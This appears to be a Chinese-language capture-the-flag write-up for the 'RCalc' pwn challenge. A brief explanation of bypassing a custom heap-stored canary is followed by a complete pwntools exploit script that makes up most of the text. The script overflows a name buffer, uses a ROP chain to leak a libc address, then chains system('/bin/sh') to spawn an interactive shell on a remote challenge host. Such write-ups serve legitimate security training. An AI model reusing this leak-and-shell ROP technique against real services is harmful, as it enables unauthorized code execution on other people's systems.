这个题目比较好玩的一点就是自己写了一个canary的保护
其实就是首先开了堆
然后随机值 然后 把随机值保存到堆里面 后来在取出来做对比
用一个canary 然后保存一个 类似栈结构 ++ ---
然后 根据 堆的知识以及调试可以知道
我们保存的结果可以溢出到堆里面 那么 我们直接修改就可以了 然后泄露一下就ok了
from pwn import *
context.log_level = 'debug'
#p = remote('127.0.0.1', 2333)
debug=0
if debug:
io=process("./RCalc")
else:
io=remote("111.198.29.45",36210)
libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
puts_plt = 0x400850
__libc_start_main_ = 0x601FF0
rdi_ret = 0x0000000000401123
main_addr = 0x0000000000401036
payload=""
def pass_canary(k):
for i in range(35+k):
io.recvuntil("Your choice:")
io.sendline("1")
io.recvuntil("input 2 integer: ")
io.send("0\n0\n")
io.recvuntil("Save the result? ")
io.sendline("yes")
#sleep(0.2)
io.recvuntil("Your choice:")
io.sendline("5")
if __name__ =="__main__":
payload+="\x00"*0x110
payload+=p64(0)
payload+=p64(rdi_ret)
payload+=p64(__libc_start_main_)
payload+=p64(puts_plt)
payload+=p64(main_addr)
io.recvuntil("Input your name pls: ")
io.sendline(payload)
pass_canary(0)
libc_start_main_addr = u64(io.recvn(6).ljust(8, '\x00'))
libc_addr_base=libc_start_main_addr-libc.sym['__libc_start_main']
log.success("libc_start_main_addr "+hex(libc_start_main_addr))
log.success("libc_addr_base "+hex(libc_addr_base))
system_addr=libc_addr_base+libc.sym['system']
bin_sh_addr=libc_addr_base+libc.search("/bin/sh").next()
payload="\x00"*0x110
payload+=p64(0)
payload+=p64(rdi_ret)
payload+=p64(bin_sh_addr)
payload+=p64(system_addr)
payload+=p64(main_addr)
io.recvuntil("Input your name pls: ")
io.sendline(payload)
pass_canary(0)
io.interactive()
拿到flag